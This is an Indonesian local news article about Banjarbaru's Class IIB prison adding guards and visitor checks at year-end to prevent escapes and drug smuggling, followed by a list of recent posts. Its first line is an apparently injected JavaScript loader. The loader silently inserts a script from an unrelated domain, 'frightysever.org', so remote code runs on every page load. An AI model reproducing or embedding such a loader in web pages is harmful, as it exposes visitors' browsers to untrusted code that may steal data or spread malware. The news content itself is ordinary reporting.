(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Antisipasi Narkoba Masuk di Akhir Tahun, Lapas Banjarbaru Perketat Penjagaan


BANJARBARU, Lembaga Permasyarakatan (Lapas) Kelas II B Banjarbaru meningkatkan pengawasan dan penjagaan terhadap para narapidana (Napi) menjelang akhir tahun.

Kepala Keamanan Ketertiban (Kamtib) Lapas Kelas II B Banjarbaru Fikri Rahmadian mengatakan, hal tersebut dilakukan guna meminimalisir dan antisipasi adanya niatan dari para napi yang ingin melarikan diri.

“Semua orang ingin bergembira menikmati hari pergantian tahun. Tidak terkecuali para napi di Lapas Banjarbaru. Hal ini yang bisa memicu mereka untuk melakukan aksi nekat, salah satunya aksi melarikan diri,” ungkapnya kepada Kanalkalimantan.com, Selasa (24/12) siang.

Menurut Fikri, situasi rawan ini juga dialami seluruh Lapas maupun Rutan yang ada di Indonesia. Apalagi dalam situasi seperti ini, para napi juga akan mudah tersulut emosi, hingga mengakibatkan terjadinya perkelahian dengan sesama napi lainnya.

“Untuk menjaga suasana Lapas yang kondusif kita telah menambah petugas di setiap area blok hunian. Ada 3 sampai 5 petugas yang berjaga,” bebernya.

Tidak hanya itu, Lapas Banjarbaru juga memperkuat penjagaan dari segi eksternal, lantaran meningkatnya kunjungan ke Lapas di hari-hari libur perayaan Natal dan Tahun Baru (Nataru). Di pintu akses P2U, petugas ditambah sebanyak dua orang untuk melakukan pengawasan dan pemeriksaan barang bawaan para pengunjung.

Penjagaan ketat terhadap para pengunjung, tegas Fikri, untuk mencegah potensi penyelundupan narkoba ke dalam Lapas. Ini juga sebagai bentuk perlawanan Lapas Banjarbaru terhadap maraknya peredaran gelap barang haram.

Seperti halnya razia gabungan bersama BNN Provinsi Kalsel, beberapa pekan yang lalu. Saat itu,  Lapas Banjarbaru dan BNN Provinsi Kalsel mendapati 20 nama napi yang terindikasi melakukan transaksi narkoba.

“20 napi itu kita pindahkan ke Lapas Karang Intan untuk memutus peredaran narkoba. Kita tidak akan memberikan toleransi, karena kita ingin Lapas Banjarbaru zero narkoba,” tegas Kamtib.
Dari laporan Selasa (24/12), tercatat ada 1.617 napi yang mendekam di Lapas Kelas II B Banjarbaru.
(rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

7 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

8 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

8 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

8 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

9 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

12 jam ago

This website uses cookies.